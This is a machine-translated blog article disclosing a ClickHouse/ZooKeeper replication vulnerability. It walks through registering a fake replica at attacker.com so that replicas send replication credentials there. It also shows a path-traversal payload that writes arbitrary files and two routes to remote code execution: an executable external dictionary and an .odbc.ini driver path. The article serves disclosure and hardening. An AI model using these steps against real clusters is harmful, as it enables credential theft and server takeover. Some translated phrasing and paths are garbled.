Zašto morate držati kaveze u zoološkom vrtu zatvorenim?

Zašto morate držati kaveze u zoološkom vrtu zatvorenim?

Ovaj članak će ispričati priču o vrlo specifičnoj ranjivosti u ClickHouse protokolu replikacije, a također će pokazati kako se površina napada može proširiti.

ClickHouse je baza podataka za pohranjivanje velikih količina podataka, najčešće koristeći više od jedne replike. Grupiranje i replikacija u ClickHouse-u su izgrađeni na vrhu Apache ZooKeeper (ZK) i zahtijevaju prava pisanja.

Podrazumevana ZK instalacija ne zahteva autentifikaciju, tako da su hiljade ZK servera koji se koriste za konfigurisanje Kafka, Hadoop, ClickHouse javno dostupni.

Da biste smanjili površinu napada, uvijek biste trebali konfigurirati autentifikaciju i autorizaciju prilikom instaliranja ZooKeepera

Naravno, postoje neke Java deserializacije zasnovane na 0 dana, ali zamislite da bi napadač mogao čitati i pisati u ZooKeeper, koji se koristi za ClickHouse replikaciju.

Kada je konfigurisan u režimu klastera, ClickHouse podržava distribuirane upite DDL, prolazeći kroz ZK - za njih se kreiraju čvorovi u listu /clickhouse/task_queue/ddl.

Na primjer, kreirate čvor /clickhouse/task_queue/ddl/query-0001 sa sadržajem:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

a nakon toga će se obrisati testna tablica na serverima klastera host1 i host2. DDL također podržava pokretanje CREATE/ALTER/DROP upita.

Zvuči zastrašujuće? Ali gdje napadač može dobiti adrese servera?

ClickHouse replikacija radi na nivou pojedinačnih tabela, tako da se prilikom kreiranja tabele u ZK specificira server koji će biti zadužen za razmenu metapodataka sa replikama. Na primjer, prilikom izvršavanja zahtjeva (ZK mora biti konfiguriran, chXX - naziv replike, foobar - naziv tabele):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

čvorovi će biti kreirani kolone и Metapodaci.

Sadržaj /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Da li je moguće spojiti podatke iz ovog klastera? Da, ako je port za replikaciju (TCP/9009) na serveru chXX-address zaštitni zid neće biti zatvoren i autentifikacija za replikaciju neće biti konfigurisana. Kako zaobići autentifikaciju?

Napadač može kreirati novu repliku u ZK jednostavnim kopiranjem sadržaja iz /clickhouse/tables/01-01/foobar/replicas/chXX i menjanje značenja host.

Sadržaj /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Zatim morate reći ostalim replikama da postoji novi blok podataka na serveru napadača koji trebaju preuzeti - kreira se čvor u ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotono rastući brojač, koji bi trebao biti veći od posljednjeg u dnevniku događaja):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

gdje izvorna replika — naziv replike napadača kreirane u prethodnom koraku, block_id — identifikator bloka podataka, dobiti - komanda "dobi blok" (i evo komandi za druge operacije).

Zatim, svaka replika čita novi događaj u dnevniku i odlazi na server koji kontroliše napadač kako bi primio blok podataka (protokol replikacije je binarni, radi na HTTP-u). Server attacker.com će primiti zahtjeve:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

gdje su XXX podaci o autentifikaciji za replikaciju. U nekim slučajevima, ovo može biti nalog sa pristupom bazi podataka preko glavnog ClickHouse protokola i HTTP protokola. Kao što ste vidjeli, površina napada postaje kritično velika jer je ZooKeeper, koji se koristi za replikaciju, ostao bez konfigurirane autentifikacije.

Pogledajmo funkciju dobivanja bloka podataka iz replike, napisano je s punim povjerenjem da su sve replike pod odgovarajućom kontrolom i da postoji povjerenje između njih.

Zašto morate držati kaveze u zoološkom vrtu zatvorenim?
kod za obradu replikacije

Funkcija čita listu datoteka, zatim njihova imena, veličine, sadržaj, a zatim ih upisuje u sistem datoteka. Vrijedi posebno opisati kako se podaci pohranjuju u sistem datoteka.

Postoji nekoliko poddirektorija u /var/lib/clickhouse (zadani direktorij za pohranu iz konfiguracijske datoteke):

zastave - imenik za snimanje zastave, koristi se za oporavak nakon gubitka podataka;
tmp — direktorij za pohranjivanje privremenih datoteka;
user_files — operacije sa datotekama u zahtjevima su ograničene na ovaj direktorij (INTO OUTFILE i drugi);
Metapodaci — sql fajlovi sa opisima tabela;
preprocessed_configs - obrađene izvedene konfiguracijske datoteke iz /etc/clickhouse-server;
podaci - stvarni direktorij sa samim podacima, u ovom slučaju za svaku bazu podataka se jednostavno kreira poseban poddirektorij (npr. /var/lib/clickhouse/data/default).

Za svaku tablicu kreira se poddirektorij u direktoriju baze podataka. Svaka kolona je zasebna datoteka u zavisnosti od format motora. Na primjer za sto foobarkreiran od strane napadača, bit će kreirane sljedeće datoteke:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replika očekuje da će primiti datoteke sa istim imenima prilikom obrade bloka podataka i ne potvrđuje ih ni na koji način.

Pažljivi čitalac je vjerovatno već čuo za nesigurnu konkatenaciju file_name u funkciji WriteBufferFromFile. Da, ovo omogućava napadaču da upiše proizvoljan sadržaj u bilo koji fajl na FS-u sa korisničkim pravima clickhouse. Da bi to uradila, replika koju kontroliše napadač mora da vrati sledeći odgovor na zahtev (prelomi reda su dodati radi lakšeg razumevanja):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

i nakon konkatenacije ../../../../../../../../../tmp/pwned fajl će biti upisan /tmp/pwned sa sadržajem hellofromzookeeper.

Postoji nekoliko opcija za pretvaranje mogućnosti pisanja datoteke u daljinsko izvršavanje koda (RCE).

Eksterni rječnici u RCE

U starijim verzijama, direktorij s postavkama ClickHouse je pohranjen s korisničkim pravima clickhouse default. Datoteke postavki su XML datoteke koje servis čita pri pokretanju, a zatim kešira /var/lib/clickhouse/preprocessed_configs. Kada dođe do promjena, one se ponovo čitaju. Ako imate pristup /etc/clickhouse-server napadač može kreirati svoje eksterni rječnik izvršni tip, a zatim izvršiti proizvoljan kod. Trenutne verzije ClickHouse-a ne daju prava prema zadanim postavkama, ali ako se server postepeno ažurira, takva prava mogu ostati. Ako podržavate ClickHouse klaster, provjerite prava na direktorij postavki, mora pripadati korisniku root.

ODBC u RCE

Prilikom instaliranja paketa kreira se korisnik clickhouse, ali njegov početni direktorij nije kreiran /nonexistent. Međutim, kada koristite eksterne rječnike, ili iz drugih razloga, administratori kreiraju direktorij /nonexistent i dati korisniku clickhouse pristup za pisanje na njega (SSZB! cca. prevodilac).

ClickHouse podržava ODBC i može se povezati s drugim bazama podataka. U ODBC-u možete specificirati putanju do biblioteke drajvera baze podataka (.so). Starije verzije ClickHousea dozvoljavale su vam da to učinite direktno u rukovatelju zahtjeva, ali sada je dodata stroža provjera niza veze u odbc-bridge, tako da više nije moguće specificirati putanju drajvera iz zahtjeva. Ali može li napadač pisati u početni direktorij koristeći ranjivost opisanu gore?

Kreirajmo fajl ~/.odbc.ini sa ovakvim sadržajem:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

zatim pri pokretanju SELECT * FROM odbc('DSN=lalala', 'test', 'test'); biblioteka će biti učitana test.so i primio RCE (hvala buglloc za napojnicu).

Ove i druge ranjivosti su popravljene u ClickHouse verziji 19.14.3. Vodite računa o svojim ClickHouse i ZooKeepers!

izvor: www.habr.com

Dodajte komentar